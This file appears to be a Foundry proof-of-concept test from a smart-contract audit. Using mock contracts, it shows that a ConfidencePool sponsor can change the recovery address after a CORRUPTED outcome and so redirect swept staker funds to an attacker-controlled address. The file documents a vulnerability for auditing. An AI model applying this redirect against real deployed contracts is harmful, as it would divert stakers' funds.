pragma solidity 0.8.26;
import "forge-std/Test.sol";
interface IERC20 {
function transfer(address to, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address a) external view returns (uint256);
function mint(address to, uint256 amount) external;
}
interface IConfidencePool {
enum Outcome {
UNRESOLVED,
SURVIVED,
CORRUPTED,
EXPIRED
}
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external;
function stake(uint256 amount) external;
function contributeBonus(uint256 amount) external;
function flagOutcome(Outcome newOutcome, bool goodFaith_, address attacker_) external;
function claimCorrupted() external;
function setRecoveryAddress(address newRecoveryAddress) external;
function recoveryAddress() external view returns (address);
}
contract MockToken is IERC20 {
mapping(address => uint256) public bal;
mapping(address => mapping(address => uint256)) public allowance;
function mint(address to, uint256 amount) external { bal[to] += amount; }
function balanceOf(address a) external view returns (uint256) { return bal[a]; }
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount; return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
require(bal[msg.sender] >= amount, "bal");
bal[msg.sender] -= amount; bal[to] += amount; return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
require(bal[from] >= amount, "bal");
require(allowance[from][msg.sender] >= amount, "allow");
allowance[from][msg.sender] -= amount;
bal[from] -= amount; bal[to] += amount; return true;
}
}
interface IAttackRegistry {
enum ContractState {
NOT_DEPLOYED,
NEW_DEPLOYMENT,
ATTACK_REQUESTED,
UNDER_ATTACK,
PROMOTION_REQUESTED,
PRODUCTION,
CORRUPTED
}
}
contract MockAgreement {
address public ownerAddr;
mapping(address => bool) public inScope;
constructor(address _owner) { ownerAddr = _owner; }
function owner() external view returns (address) { return ownerAddr; }
function isContractInScope(address a) external view returns (bool) { return inScope[a]; }
function setInScope(address a, bool v) external { inScope[a] = v; }
}
contract MockAttackRegistry {
IAttackRegistry.ContractState public st;
function setState(IAttackRegistry.ContractState s) external { st = s; }
function getAgreementState(address) external view returns (IAttackRegistry.ContractState) { return st; }
}
contract MockSafeHarborRegistry {
address public attackRegistry;
mapping(address => bool) public valid;
function setAttackRegistry(address a) external { attackRegistry = a; }
function setAgreementValid(address a, bool v) external { valid[a] = v; }
function getAttackRegistry() external view returns (address) { return attackRegistry; }
function isAgreementValid(address a) external view returns (bool) { return valid[a]; }
}
import {ConfidencePool} from "../src/ConfidencePool.sol";
contract RecoveryAddressRedirectPoC is Test {
ConfidencePool pool;
MockToken token;
MockAgreement agreement;
MockAttackRegistry attackRegistry;
MockSafeHarborRegistry safeHarbor;
address sponsor = address(0xA11CE);
address moderator = address(0xB0B);
address staker = address(0xCAFE);
address oldRecovery = address(0x1111);
address attackerRecovery = address(0xDEAD);
function setUp() external {
vm.warp(1_700_000_000);
token = new MockToken();
agreement = new MockAgreement(sponsor);
attackRegistry = new MockAttackRegistry();
safeHarbor = new MockSafeHarborRegistry();
safeHarbor.setAttackRegistry(address(attackRegistry));
safeHarbor.setAgreementValid(address(agreement), true);
agreement.setInScope(address(0x1234), true);
pool = new ConfidencePool();
address[] memory accounts = new address[](1);
accounts[0] = address(0x1234);
vm.prank(address(this));
pool.initialize(
address(agreement),
address(token),
address(safeHarbor),
moderator,
block.timestamp + 40 days,
1e18,
oldRecovery,
sponsor,
accounts
);
token.mint(staker, 1_000e18);
vm.prank(staker);
token.approve(address(pool), type(uint256).max);
}
function test_PoC_SponsorRedirectsCorruptedSweep() external {
vm.prank(staker);
pool.stake(100e18);
attackRegistry.setState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(IConfidencePool.Outcome.CORRUPTED, false, address(0));
vm.prank(sponsor);
pool.setRecoveryAddress(attackerRecovery);
assertEq(pool.recoveryAddress(), attackerRecovery, "recovery not redirected");
uint256 before = token.balanceOf(attackerRecovery);
pool.claimCorrupted();
uint256 afterBal = token.balanceOf(attackerRecovery);
assertEq(afterBal - before, 100e18, "sweep did not go to redirected address");
}
}